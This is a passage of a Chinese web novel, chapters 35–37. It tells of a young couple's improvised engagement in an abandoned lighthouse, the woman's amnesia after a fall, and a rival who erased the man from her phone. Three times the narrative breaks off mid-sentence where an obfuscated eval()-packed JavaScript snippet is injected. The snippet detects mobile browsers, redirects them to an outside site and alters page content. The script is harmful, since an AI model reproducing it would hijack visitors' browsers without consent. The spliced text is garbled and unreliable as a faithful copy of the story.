“我错了,当时只想到我会水,应该问题不大,只是没想到,会遇上离岸流。”江未怯怯地说,“而且,你来梦港岛只带了这一张照片,肯定很珍惜,怎么能丢呢?” 天色完全暗了。 海风吹来,寒冷入骨,沈淮棠却突然抱住江未,嚎啕大哭起来。 江未搂着她瘦削的肩膀,将她的颤抖拥入怀中,他耐心地哄着,又怕这冷飕飕的海风给她吹出病来,便将她抱起,重新进入废弃灯塔,至少这里能暂时避风。 灯塔里漆黑一片,唯有从破窗外漏进来的月光,清冷明净。 沈淮棠死死地抱着江未不松手,将耳朵贴在他的胸膛,听着沉稳有力的心跳,仍在不停流泪。 江未环抱着她,一下又一下地轻柔抚摸着她因海水而纠缠在一起的长发。 “我以后再也不这样了,好不好?”江未从小到大自诩巧舌如簧,此时竟觉嘴笨,不知该说什么能让她好起来。 沈淮棠并不搭理他,显然对他说的屁话一个标点符号都不信。 他再次慎重重申:“以后我都听你的,你不让我做的事情,我肯定不做。” 月亮的清辉为何照不透堵满她心口的乌云?沈淮棠的思绪一片乱麻,就算拿着快刀也不知从何斩起。 江未不是她的谁,何苦要做出如此承诺?这对他并不公平。而且江未坠海,也是为了她的照片,她又该怎么回报他? 然而,江未好似知道她在想什么,垂着眸子,温暖的指腹轻轻擦拭她的眼泪。 他轻声说:“不要为难自己。” 片刻后,沈淮棠终于下定决心般抬起头来,泪眼婆娑地问:“那你愿不愿意跟我结婚?” 35. 爱意的顶峰 听到如此惊世骇俗的请求,江未先是一愣,下意识反问道:“什么?” 沈淮棠知道这话有多么幼稚,简直连幼儿园的小朋友都不如,于是她重新埋头,闷声道:“算了,我什么都没有说。” “别别别,我愿意的!”江未赶紧补救。 他抱着沈淮棠的双臂一使劲儿,将她半个身子都提溜起来——她迫不得已直视他的眼睛,却发现他脏兮兮的脸上,那双桃花眼闪闪发光,特别漂亮。 江未兴奋地都结巴了:“阿棠,你说的是真的吗?你都不愿意跟我在一起,竟然愿意跟我结婚吗?” 沈淮棠避开他灼热的视线,半晌才低声说:“谈恋爱和结婚不一样的……” 二十岁的年纪,已经想不出更好的办法,能够让他们以后都纠缠在一起,如此恩怨情仇交织,难以算清。 而江未不仅没有反对,反而兴致勃勃地说:“当然不一样,结婚总要有点仪式感吧,你可不能反悔哦——” 他进入情境的速度极快,当即就安排下一步,“我们来交换戒指。” 江未托起她的手,将两枚极其朴素的银戒放在一起,郑重道:“今天就交换这个吧,现在我们没有更好的戒指,等我之后再给你买。” 沈淮棠却在考虑更现实的问题:“我的戒指,你也戴不上啊。” 他却满不在乎:“这有什么?明儿咱去买两条银链子,串起来作项链戴。” 江未将他的戒指褪下,捧起沈淮棠的手,轻轻巧巧地戴进她的无名指,空荡荡地大了一圈。 沈淮棠也学着他的样子,将自己的戒指戴上他的无名指,却卡在第二指节,怎么都下不去了。 他们并肩坐在破窗户前面,在清淡的月光下晃悠摆动着手指与新戒指,这一幕滑稽得很,真是怪好笑的。 江未见她情绪终于好些,心里的大石头终于放下,再次给她一个大大的拥抱,在她耳边说: “我们已经交换过戒指了,这就是订婚仪式,你是我的未婚妻,知道吗?所以能相信我了吗?” 沈淮棠将脸埋在他的脖颈间,嗅着彼此身上的海水与血液的甜腥气味,轻轻地嗯了一声。 江未偏头在她脑门上响亮地亲一口,兴高采烈:“这可是你说的啊!” “你以后绝无可能甩掉我。”江未伸手抚摸着她冰凉的后脖颈,振振有词道,“就算你不要我,我也会像狗一样闻着你的味道,找到你,跟在你附近,直到你再次接受我为止。” 沈淮棠微微一笑。 她完全想不出有什么理由会甩掉他。 于是她又嗯了一声。 沈淮棠完全明白自己对于亲密关系的隐忧完全没有解除与释怀。 对于他们之间,她仍持有悲观态度。 就算是她提出这幼稚的请求,江未也顺势答应,她也认为他不过一时兴起,以后说不定会移情别恋。 而且她如今还生着病,注定是江未照顾她更多些,照顾病人会有多疲惫,她可太了解了……等他有一天厌倦,也会离开。 再者,她家毕竟有精神疾病的基因,所以她不会再生孩子了,但江未或许更想要一个正常的三口之家。 总之还有很多问题横亘在他们当中。 然而,在这一刻。 沈淮棠的爱意却达到顶峰。 没有任何时候,她比这一刻更喜欢他。 喜欢到她可以完全把这些后顾之忧抛之脑后,甚至原谅他未来做出任何违背承诺的事情时,她能接受后体面地告别。 银色的月光照落,在他们的侧影打上一层莹莹的浮光。 江未垂眸,看着她的眼睛,轻轻吻在她的额头,睫毛与鼻尖,最终落在她花瓣似的嘴唇上。 这是一个充满海洋咸涩味道的吻,带着伤口的血腥,以及泪水的味道,混杂一处,歪歪扭扭地,形成了初恋的样子。 而在多年后,同样在梦港岛附近的海域中,这一段记忆浮现在沈淮棠的脑海中。 她顷刻泫然。 江未为何仍然保存着她的戒指。 江未为何找到失忆的她后,一直在她的周围,却不打扰。 江未为何要说他们曾是恋人,后来又否认,只道这不过谎言。 …… 这些问题,全都迎刃而解。 当年说出的承诺,不知怎么全都一语成谶,她当真甩掉了他,而他也依言找来。 江未了解她,用一些半真半假漏洞百出的线索骗她上钩,按照她的性子,自然会去寻找其中不合理的地方,拆穿谎言。 这是一场豪赌。 若她没有恢复记忆,那么在她眼中他只是个骗子,因为没有任何的“证据”,能够证明他们的爱情。 只有她真的恢复记忆,才会后知后觉地发现,他还在原地等她。 黑暗中,他们再次浮上海面。 雨已经停了。 江未带着沈淮棠游向小艇,轻巧地翻了上去,待两人终于坐好,他抬头看向天空的乌云聚集,问道: “等下可能还会下雨,你冷不冷?我们是直接回去,还是先找个地方避雨,等雨停之后再回?” 若是直接回去,路上可能还会淋雨,于是沈淮棠选择后者,江未便开着小艇,朝着梦港岛附近的小小离岛行驶。 未久,小艇抵达岸边。 这里并不似梦港岛开发完善,仍保留着自然的地貌。 他们找了一处距离海边很近的山洞,裹上毯子,才刚坐下,外面果然又下起雨。 沈淮棠看着细密的雨帘,神游天外。 江未以为她因下雨打乱计划而心情不好,便伸手抚摸她的脊背,安慰道:“等天气好了,我们再来夜潜一次。” 她回眸,正好看见他胸前挂着的那枚银戒,脑子里没边没际地想,五年前的那个夜晚,为何他不来见她? 难道真是患难时才能见真情,平凡日子里,一切就变得索然无味了? 他们重逢至今,再加上已经恢复的记忆来看,江未就没发过脾气,她到底把他气成什么样,才会鸽了约会,让她独自在他们定终生的破旧灯塔里,一晚上都不来看她吗? 脑海中闪回许多碎片,沈淮棠细细品味,企图寻找出不合理的地方。 在那次离岸流的意外之后,他们相处得极好,初恋本就带着一些难以言明的滤镜,再加上他们本就聚少离多,能够见面时,都尽可能不浪费一分一秒地温存,甜蜜还来不及,哪里舍得闹脾气呢? 直到江未得到父母去世的噩耗。 接到消息时他正在学校,事情紧急,他只来得及通知沈淮棠,就直接买机票回国,同哥哥一齐着手操持父母葬礼等琐碎而冗繁的事情。 江家的家庭关系相当复杂,父母走得突然,背后涉及的利益纠葛盘根错节,处理起来棘手又麻烦,他又常年不在国内,许多事情要重新了解,若非有哥哥坐镇,或许更讨不着好。 极度疲惫的时候,江未打电话给沈淮棠,没有抱怨,只想听听她的声音。 然后,在那个电话中,江未说:“阿棠,哥哥让我回来帮他。” 刚满二十岁的沈淮棠难以对他的困境感同身受,也想不到这句话背后的含义,以及这个选择底下的弯弯绕绕,她只能用有限的理解去思考这个事情。 相比之下,江未对家庭的情绪是另一种概念上的复杂。他很少提到父母,却和哥哥感情深厚,常年保持联系,也会定期回国见面。 这些年,沈淮棠将这些看在眼里,自然而然以为他已经做了决定。 江未本就重感情,他要回去,不为别的,仅仅因为那是他哥哥,无论有其他方式能够帮助哥哥,他也一定会做。 于是在犹豫后,沈淮棠接受这件事情,虽有失落,还是打起精神来安慰他:“也好,你就快毕业,能够回去,你哥哥肯定很高兴。” 怎知江未闻言连声音都变调:“你这话什么意思?” 沈淮棠不知说错什么,这是江未第一次凶她,连脑子都空了,于是结结巴巴地解释道:“我是说,你回去帮你哥哥,也挺好的,你们是兄弟俩,肯定能……” 江未怒吼道:“为什么连你也要这么说?为什么!你有问过我的意见吗?” 他说罢,随即挂断电话。 她慌了,赶紧回拨,他却没有接。 沈淮棠知道一定有误会,然而此时他正面临父母离世,家务繁忙,本来就压力如山,情绪爆发也属正常。 她不再打电话,而是给他发许多的信息,道歉过后,解释那些话并非有意。 在等待回复的时间里,沈淮棠揉揉眉心,已经许久未曾有过这般心慌的感觉,悬而未定,无从下手。 当一个负面的种子被种下,拔除却需要一定的时间,更何况江未身处在最艰难的时刻——他甚至不被承认身份,被污蔑成私生子野种。 他向来脾气很好,这件事情却让他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“是不是之前淋雨导致手机进水?”余谨拿过手机摆弄,“不行,就算要修也得出岛修,你要着急的话,就用新手机吧。” 两人捣鼓半天,确认旧手机已经无法开机,沈淮棠无奈地打开新手机,输入的第一个就是江未的号码。 余谨在旁边观察着她,语气微妙:“这是谁?你竟然会背他的号码。” 沈淮棠虽然没有主动提过,被问到也并不藏着掖着:“是我喜欢的人,今天他回梦港岛,这个点儿应该已经到了。” 余谨颔首,却没说话。 沈淮棠给江未打电话,对面竟然关机,发信息也没有回复。 难道是飞机晚点? 还是说他的手机没电了? 想了半天,她还是决定去灯塔里找江未,她觉得他不会无缘无故爽约。 沈淮棠着急下床出门,刚一站起来就头晕目眩,险些栽倒。 余谨皱眉冷声道:“你病都没好,还要找他?他但凡心疼你,也不至于趁你病要你命吧?” 沈淮棠不知该如何解释清楚。 甚至因为生病,她连出声说话都费劲。 于是,就算余谨不允许,沈淮棠还是决定前去赴约。 海风吹来,她看着空无一人的废弃灯塔,心里有些空落落。 他还没有来。 像上次那样,她从破窗翻入,踩着摇摇欲坠的木质楼梯,抵达灯塔的顶端。 她抱着膝盖坐在窗前,独自等待着。 从天光明亮,海鸥飞翔,到夕阳沉海,夜幕降临。 气温逐渐降低,出门前她带了薄外套,此时披在身上却仍然觉得冷。 她靠着破窗户,看着窗外一望无际的星空,心心念念地想着江未。 之前就是在这里,他为她庆祝生日,还为了追照片从灯塔跳下去,他答应与她结婚,为此进行了交换戒指的仪式。 极度的思念之间,一颗两颗的流星从漆黑的夜幕划过。流星雨像是一场盛大的宴会,在遥远的天幕闪闪发光。 这就是江未喜欢看的星星吗? 真是一幅极其绚烂的画卷。 她独自孤独坐着,久久地凝视远方,直到流星雨结束,黑夜散尽,海平线泛起天光,都没有等到想见的人。 江未失约了。 36. 飞鸟旧事 没有电话,没有信息,杳无音讯。 天边已经泛起鱼肚白,沈淮棠扶着墙壁,晃晃悠悠地站起身来,眼前漆黑,耳鸣目眩,缓了片刻才重新看清。 心底流淌尽酸涩的委屈,她想想却并不怪江未,相识已久,他不是会无缘无故爽约的人,肯定是有事情耽搁,否则不可能这样放她一个人。 只要不是发生意外,其他的理由,她都可以欣然接受。 就这样,沈淮棠勉强打起精神来,揉揉眼睛,准备先回家再想办法联系他。 可就在握着扶手下楼梯时,方轻脚一踩,竟有怪异的声音吱吱扭扭从底下传来,她忽觉不对,立马意识到年久失修的木头突然碎裂,支撑不住她的体重。 然而她正在病中,身体沉重,躲避的动作也并不似往日灵敏,不过迟一瞬,竟直接往前栽倒,一脚踩空—— 从楼梯滚落,沈淮棠连惊叫的声音都没有发出,只觉得浑身剧痛,尤其是头部,浓稠的血腥味弥漫开来。 天旋地转之间,她很快失去知觉。 似乎有星星点点的梦境,从漆黑的意识深处无声浮起,幽暗磷火般四处飘荡,而后又泡泡似的碎裂。 一层层上涌又散落,消失殆尽,最终唯剩她孤独漂泊的魂魄,褪去旧壳,朝远处迷蒙的光源而去。 沈淮棠醒来,指尖微动,耳边传来轻微的喧嚣,又如退潮恢复安静,她头部钝痛,思维模糊,不知自己是谁,不知从何而来,不知去往何方。 以往一切,如同昏迷时周围的梦境泡泡,烟消云散,无影无踪。 人生被意外截断,沈淮棠冷肃沉静地接受事实,长久地凝视病房窗外的树影云印,陷入思虑的漩涡。 她总会下意识抚摸无名指,好似那里应该有一枚戒指。 飞鸟掠过天空,了无痕迹。 病情稳定后,云姨带沈淮棠回国。 她重新启用余谨送的生日礼物,那部新手机,里面什么都没有,联系方式唯有云姨一家。 沈淮棠对旧日记忆好奇,余谨便找人将原来使用的手机修好,她翻阅时却觉得很没意思——信息被清空,相册里只有一些风景照,使用的社交平台寥寥,也没什么特别的信息。 余谨见她郁闷,宽慰道:“你之前在梦港岛养病,很久都没有用过电子设备,像是在过隐士的生活。” 既然如此,沈淮棠兴致全无,于是将旧手机关机,无所谓地丢进储物箱。 与江未的一切,就这样隔绝在那一方狭小黑暗的空间里,尘封雪藏。 至此五年,再没打开过。 雨声淅淅沥沥,若云若雾。 沈淮棠紧了紧裹在身上的薄毯,偏头看向江未,她失而复得的爱人。 视线落在他耳廓的红痣,她不自觉地伸手轻抚,他痒得一躲,正要笑说什么,却听她轻声道: “江未,你当时在电话里说‘为什么连你也要这么说’,是什么意思?当时发生什么事情了?” 他的笑容还未绽开,便硬生生停住,收敛成一个沉默的表情。 这一次,江未沉默了很久。 但沈淮棠足够耐心。 “你记不记得,在涯城时,我跟你提起我的童年。”他终于开口,说的却是上回他们旷野之行的事情。 “我妈的控制欲特别强,对小孩管教严格,甚至在房间里装摄像头。”他回忆道,“我们也没有去过学校,平日里甚至鲜少出门,吃穿用度学业也皆是定制。” 沈淮棠颔首。 这么严苛的母亲,真的很难忘。 江未习惯性地露出一个漂亮的微笑,眼底却一丝笑意都无,他平静地说: “我妈会这样,是因为我哥出生的时候就有血液病,医生说他活不了多久,哪怕救活了,身体也非常虚弱。” 沈淮棠闻言有些惊讶,这么多年来,这是第一次听江未说起这件事情。 他不再笑了,蓦然转头定定地朝她看来,眸子里有她看不懂的怪异神色,那面色陌生冷漠得像是换了一个人。 “你不觉得奇怪吗?我父母分明是商业联姻,没有感情,婚前就谈妥离婚的条件。”他神情淡淡,“这样的背景情况,有第一个孩子便也罢了,但短时间内,竟然生了第二个孩子,这不符合常理。” 江未轻描淡写地说:“我能出生,是父母为了采集脐带血,救我哥哥。” 当然,救哥哥,江未是愿意的。 ——虽然没有人问过他。 可难免,他心中的怪异感挥之不去,觉得自己像是哥哥的储备粮,或是工具人。 若哥哥身体康健,自然没他什么事,甚至都没有来到这个世界的机会。 父母对待哥哥江墨,那是捧在手里怕摔了,含在嘴里怕化了。 偏生这玻璃人儿般的长子,完美遗传他们的优点,俊美剔透,天资聪颖,一闻千悟,可身体脆弱得不堪一击,天生血液病,寿命短浅。 就算江未已经出生,他们大部分的注意力还是放在江墨身上,甚至在对比之下,有些厌烦这个皮猴儿似的小儿子。 淘气,活泛,心野。 最难以忍受的是,会带坏江墨。 小屁孩江未哪里晓得江墨的病有多严重,他只惋惜于哥哥成日只能与世隔绝般待在玻璃房内,打针吃药家常便饭,真是要多可怜有多可怜。 因此他极度热衷于带江墨出去玩——或者说,把江墨偷出去松快松快,这好心办坏事,身虚体弱的江墨哪里扛得住他这么造,病得理所当然。 所以,这顿打他挨得也是理所当然。 尽管如此,病中的江墨仍会将他护在身后,绝不让他受一点伤,哪怕对面是他们的亲生父母。 父母对江未耳提面命,任何条件下都必须让着哥哥,一切以哥哥为重,决不能磕着碰着哥哥,也不能影响哥哥…… 江未自然与这将偏心摆在明面儿上的父母关系不好,可他并未将此迁怒到江墨头上,甚至非常喜欢他。 江墨身体最差的时候,甚至要坐轮椅。 他推着哥哥去花园里散步,捉蝴蝶给哥哥看,滔滔不绝讲着小虫之间的区别,连花草树木在他眼中都有不同的色彩。 江墨总是淡淡笑着,静静听着,眼里却满是遗憾和向往。 后来,父母离婚。 母亲跟江未解释说:“妈妈不是不要你,可你也知道哥哥的身体,妈妈不放心交给你那不着调的爸,就委屈委屈你,好不好?” 他说好。 除此之外,他没有选择。 再后来,祖母梅女士风风火火地出现在他面前:“你爸那混账东西不要你,你收拾好东西,跟我走。” 他说好。 从善如流地接受,反正早已习惯。 不过他和江墨的关系依然很好。 在和梅女士环游世界的时候,江墨为了让他不受委屈,给他很多零用钱,三天两头关心他,支持他做所有喜欢的事。 江墨常说,他的一生已经被束缚住了,要江未作他的眼睛,去看看这个世界。 “放心吧,不管发生什么事情,有哥哥给你兜底呢。” 江墨的身体逐渐好起来,除了每日要服用许多药品,生活和正常人基本没有区别,偶尔也会出国看看江未。 直到父母去世。 像他们这种家庭,遗嘱每年一更新,哪怕如此,江未回去看罢遗嘱,才发现他们对江墨的偏颇真是一如既往。 父母竟然早就安排好让他回来辅助江墨的路途,万事俱备只欠他这毫不知情的东风,若非此次意外,他怕是毕业才能得到这猝不及防的通知。 荒唐的是,他竟然觉得这很正常,反正他除了接受,也没有别的选择。 勉励支撑的江墨却说:“不要盲从,你要做你喜欢的事情,没关系的,有哥哥给你兜底呢。” 他完全知晓哥哥的意思。 江墨是真的希望他能够像以往那般,做想做的事情。 然而那帮看热闹不嫌事大的亲戚也要来煽风点火,明里暗里都在说: “你哥哥不容易呢,身体不好还一直把你往外推,你不得多帮帮他啊,要不然,父母留下的东西,迟早全是他的呢。” 彼时江未年岁也不过二十出头,远不如现今时沉稳冷静,心中仍五味杂陈,委屈与不屑杂糅。 这么多年了,早不奢求什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850619|175843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亲情关爱,那是孩提时才会关心的事——他唯一所求,竟是想被当作一个活生生的人来尊重。 所以当沈淮棠也将他往江墨身边推时,心里难过如同火山爆发。 为什么,连她都不在乎他的想法呢? 可心绪平静后,后悔又逐渐蔓延上来,沈淮棠又不知他家情况,怎能对她发脾气? 甚至她在无意之中说对一点——他肯定是会为了江墨回国的。 他享受了那么多年哥哥的好,若是在最艰难的时期对江墨弃之不顾,愧疚感会侵蚀他一辈子。 江未在国内心烦意乱,忙得分身乏术,每日睁眼便是一脑门的官司,连回复信息都要抽空,回梦港岛是他这段时间唯一的盼头——他答应沈淮棠,一同去看流星雨。 他想,等见面以后,再将说来话长的误会解释清楚,电话短信里说得再多,也不如面对面的一个拥抱来得好使。 然而在临出发前,江未收到手艺工匠的信息,通知他之前订购的情侣戒指已经做好,询问是否寄到指定地址。 那是他之前答应沈淮棠的情侣对戒,工期漫长,这会儿终于完工。 江未等不及戒指漂洋过海地邮寄送来,短暂思考后,决定绕路直接去拿戒指,再回梦港岛,给沈淮棠送上这惊喜。 临近登机,他给她打了数个电话,却无人接听,只好短信留言,说有事情晚一天再回梦港岛,记得好好吃饭,再睡一晚,醒来就能看到他了。 可当他再次开机,看到沈淮棠的信息时,整个人都僵硬一瞬。 “你到了吗?” “为什么打不通电话,出什么事了?” “我在灯塔等你。” “有事耽搁了?” “天亮了,我先走了,你看到后打给我。” 江未立刻拨通电话,听筒里传来的却是无尽的忙音。 他脚步不停,还在用手机一遍遍地拨打,仍打不通,又转而打给达拉斯,那个时候已经是凌晨时分,大家都在睡眠之中,自然也无人接听。 或许此时沈淮棠在睡觉,江未想,可不知为何,冥冥中难以言明的焦虑感几乎将他吞噬。 抵达梦港岛后,他狂奔赶到废弃灯塔处,远远地就看见灯塔已经被围起来,有安保员正在贴条。 路人在议论纷纷:“有个女孩儿从上面摔下来,流了好多血。” 这句话让江未在一瞬间瞳孔紧缩,鼓膜跳动,血液都凝固,他匆忙上前询问道:“那个女孩儿呢?现在在哪里?” 安保员说:“她的伤势较为严重,已经送出岛了。” 整整半个月,江未跑遍梦港岛附近的医院,却完全无法确定沈淮棠身在何处。 他不知沈淮棠伤情如何,医院也不可能透露她的个人信息,而每日因为外伤进医院的患者数不胜数,实在难以精准锚定。 一个人是怎么能完全人间蒸发的呢? 江未费尽口舌,护士也不肯说一个字。他精疲力尽地从医院走出来,站在人来人往的十字路口,忽然不知该往何处去。 他从未如此迷茫过,狼狈得像一只被丢弃的流浪狗。 当他重新回到梦港岛,沈淮棠曾经住过的公寓也已经人去楼空,任何曾经与她有过交往的人,竟都不知她的去向。 江未失魂落魄地回到栖居,刚走进门,二白从沙发上跳下来,围着他转了一圈,然后冲出门口四处张望,似乎是在问沈淮棠为什么没有回来? 他落寞地蹲下,将小猫抱在怀里,二白似乎明白他的失落,轻柔地舔舔他眼下的湿润。 一直以来,江未居无定所,漂泊至今,鲜少有停下来的时候,与祖母在梦港岛长住,他也真心实意认为这就是家——这里有他选择的家人,温和的达拉斯,活泼的二白,最重要的是有沈淮棠。 有这样一个美好的女孩子,坚定地需要他,选择他,喜欢他,跟在他身后,依偎在他怀中,甚至救了他的命,嚷嚷着要跟他结婚…… 没有她的地方,怎么能叫家呢? 而在一个月后的某天清晨。 江未醒来时,终于收到一条来自沈淮棠的信息。 她说:“我们分手吧。” 37. 她忘记他了 江未呼吸一窒。 回拨电话,已经是空号。 他久久无法回神,巨大的寂寥拢住他垂着眸子沉思的侧颜。期盼已久的信息竟然是分别的通知,到底为什么,事情竟是错到无可原谅的地步了吗? 后来的日子,江未从未有一天放弃过漫长的寻找。 他无法接受这件事情不明不白地结束,恋人无疾而终地放弃,自己莫名其妙地被抛下。他要找沈淮棠问清楚,哪怕这件事情如同大海捞沙。 毕业后,江未依照诺言回到滨城,穿上西装与规矩,拿起酒杯与筹码,戴上面具升级资本,成为江墨的左膀右臂。 匆匆数年,也算是能从“江墨不知哪来的私生子弟弟”挺直腰板承当他人一句“小江总”了。 只是午夜梦回,总能听见遥远的船笛声,带着他的旧日好时光不知去往何方。 他细致地摩挲着戒指上那勉强端正的“棠”字,似乎能见到她凝眸在昏黄灯下刻字的模样。 不知不觉间,他们分开的时间,已经比在一起的时间要长了。 水无定。花有尽。会相逢。 可是人生长在,别离中。* 焦虑沸腾的水平息,渐成寒潭。 一日江未回总公司汇报,别看他在外形象风流雅正,回到江墨办公室时便原形毕露,瘫在沙发上半死不活,累得一个字也不愿说。 江墨喊他:“过来看看这份资料。” 江未闭眼,安详的姿势可以直接入棺。 江墨轻笑,照着资料上的文字慢慢念出声:“沈淮棠,淮水盛棠,是个好名字……你确定不看看吗?” 久违的名字,一瞬间击得心脏抽搐。 江未睁眼,无法控制的耳鸣,直叫他脑子都发晕,好半晌才翻身坐起,三两步走至江墨的办公桌前,拿过那份资料。 栖居?栖居。 沈淮棠的书店竟然叫栖居。 一时间江未压抑多年的情绪潮湿了整个胸腔,他深深深呼吸,半晌才发出一声颤抖的叹息。 之前江墨听闻他与沈淮棠的事情,只觉得不大正常,一个人无法平白无故消失,除非是在有意躲藏。 于是江墨也为他提供帮助,在茫茫人海之中寻找一个年轻女孩。 此时,江未紧紧攥着资料的边缘,纸张泛起褶皱,当天夜里,江未就抵达鹤城。 去往栖居的路上,久经商场擅于把酒言欢的小江总竟难得慌神,一颗心七上八下,被类似于近乡情怯的酸涩感吊得茶不思饭不想,频频走神。 她还好吗? 她会在吗? 她会见他吗? 她会说什么……会哭泣或愤怒,还是不屑一顾的冷漠? 她会否已经有新的感情? 经过花店时,他买下一束白雪山,熟悉的花朵散发出淡淡的芳香,勉强缓解他难以抑制的焦躁。 怀着乱七八糟的念头,江未终于在栖居的门前不远处站定。 此时时间已晚,栖居打烊,楠木大门紧紧关闭,一个身材高大身着黑色西装的男人正抱着手臂靠在门前,静静地抽烟,似乎已经等待江未已久。 他抖落烟灰,抬眸时正好有一辆车飞驰而过,明亮的车灯在薄而锐利的眼镜片一晃而过,正好照亮他不带温度的眼睛。 男人说:“江未,如果你为了淮棠好,请不要再来打扰她的生活。” 江未不明所以:“你是谁?” “我是她哥哥。”余谨说,“让她避免受到你这种人的骚扰,是我的义务。” 江未冷笑:“我这种人?” “死心吧,淮棠已经不记得你。”余谨的语气甚至称得上心平气和,可在江未听来却刺耳至极,“当年她在灯塔楼梯摔落,伤到头部,失去记忆了。” 江未眉毛一挑,明显不信:“失忆,却还能给我发分手信息?” “那是我发的,打消掉你找她的念头罢了。”余谨重重吸一口烟,又呼出来,深刻的五官在烟雾中显得缥缈不清,“怎知你就是条癞皮狗,死乞白赖,甩也甩不掉。” 这一瞬,江未所有燃烧的期盼与渴望都冷却结冰,那轻飘飘的一句分手,却是折磨他无数日夜的梦魇。 下一秒,他已然攥着余谨的衣领,带着十分怒意的右拳猛地砸去。 余谨被打得脑袋骤然一歪,眼镜直接飞出去,划出一道弧度跌落在地。狠辣的疼痛里,他舔舔唇角,嘴里竟然渗出腥甜。 “无耻之徒!”江未额头青筋暴跳,怒目圆睁,咬紧后槽牙地骂他,拳头却没停过,雨点似的落在余谨的脸上身上,“那是我和阿棠之间的事情,与你何干!” “你丧尽天良将淮棠害成那样,也配说这种话?”余谨亦是没输,怒意磅礴,同样一拳将江未打得头一歪。 他压根没想到传闻中文质彬彬的江未竟然会直接对他动手——用如此幼稚、冲动与暴力的解决方式。 江未简直想生吃了他! 要将他剥皮抽筋,千刀万剐! 他不要命似的将余谨按在水泥地上,狂风扫落叶般地狠狠拳打脚踢。 费劲千辛万苦地找到沈淮棠,终于和她只隔着一道门的时候,他被告知当年的误会竟是人为——这叫他如何忍受? 他这么多年的辗转反侧与肝肠寸断,过度思虑所造成的自我怀疑,在此刻都像是一场巨大的笑话。 当年余谨在确认沈淮棠完全失忆后,注销她原来的号码,恢复旧手机的内容时,将有关江未的部分全部删除。 余谨向来性子谨慎稳妥,一切都做得天衣无缝,仍在病中的沈淮棠根本看不出任何端倪。 ——反正她连血脉相连的亲妈都忘得彻底,何况是生命中匆匆而过的一个微不足道的负心汉呢? 他给沈淮棠提供新手机,新号码,以及通向未来的崭新人生。 “关你屁事?阿棠又不是你的所属物,要你自作主张指手画脚?” 两个身高将近一米九的男人,平日里西装革履斯斯文文,永远将体面放在第一位,此时暴露动物本性,大打出手。 江未将这些年来受的气全都发泄在余谨身上,余谨亦是看他不顺眼已久,半点没手下留情,拳拳到肉。 “你就算见到她也没用了,她根本不认识你。”余谨冷嘲热讽,“就算想起你这罪魁祸首,也不会给你好脸色,你在期待什么啊?” 血气上涌,江未简直想要哈哈大笑,沈淮棠怎么可能不记得他?抬头看看这书店的招牌,栖居两个字从何而来,恐怕余谨根本就不知道吧? “江未,别再苟延残喘,你们早就结束了。”余谨恶狠狠盯着江未,一字一顿地说,“这五年是我在照顾她,她已经有新生活,请你不要再来打扰。” 江未正要说话,却被一阵铃声打断,余谨拿出手机,是沈淮棠的来电。 余谨毫不犹豫点击接听,江未竟下意识屏息凝神,侧耳倾听那朝思暮想的声音。 沈淮棠说话一如既往地开门见山,连寒暄都无:“余谨,你知不知道我高中用的银行卡密码?” 嗓音与声调都懒洋洋的,江未的脑海中立刻出现她蜷缩在沙发上抱着小猫半睡不醒的困顿样儿。 听到这个问题,江未的心里出现一串数字,她生病时吃药记性变差,所有的密码都改成了这串数字。 沈淮棠的声音好似切开一道细小的口子,剧烈的思念带着风雨席卷而来,直截了当地掐住江未的咽喉。 余谨温和地回复她说:“不知道,你急用钱吗?想买什么,我打给你。” “不急,只是想不起来,要得跑一趟银行,嫌麻烦而已。”沈淮棠失去兴致,“不说了,拜拜。” 江未有些愣神。 沈淮棠连密码都要问余谨,这本身就说明——她真的忘记许多事情,以及她非常信任余谨,甚至连密码都可以与他共享。 那就更别提生活中的大小事,这么些年来,在沈淮棠的恢复期中,估计都是余谨在一步步为她操持保护。 余谨在无形之中强行占据了原本属于他的位置,强烈的不甘与嫉妒折磨着他的神经,心脏仿似被烈火灼烧。 他看着余谨垂眸给沈淮棠转账,简直想撕了这伪善的面孔,把这恶人再按在地上暴打一顿。 然而这会儿就算再不甘心,江未也忍了又忍,被余谨打成这个样子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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如果,江未再次在沈淮棠的生活中出现,让她想起曾经种种,是否会让她重来一回那些痛苦呢? 当年他可是眼睁睁地看着她从深不见底的泥潭里挣扎而出,怜惜都来不及,若是要重来,叫他怎么忍心? 一时间,他对重逢相认的念头又犹豫迟疑起来。 那天晚上,江未根本不知自己是如何回到的酒店,他没有坐车,浑浑噩噩地在街上走着,好几次都被汽车喇叭声警告。 他躺在床上,放空许久。 江墨给他打了四五个电话才接通。 一开始,江墨还打趣道:“怎么不回来了?去鹤城才几天,就乐不思蜀了?” 江未不知该如何开口,这故事太长,也太让人疲惫,沉默之中,江墨注意到弟弟的不对劲:“怎么了?难道她已经结婚了?那要不你再等等,他们未必不会离……” “没有结婚。”江未弯弯唇角,打断江墨的发散思维——怎么就想那儿去了。 他将前因后果解释一遍,江墨这才知晓曾经那些不对劲的地方竟是如此这般。 这情况着实不常见,连江墨也难以评价,只能轻叹道:“那你打算怎么办呢?” 江未盯着天花板低声说:“哥,我想到鹤城来,在她在的城市。” 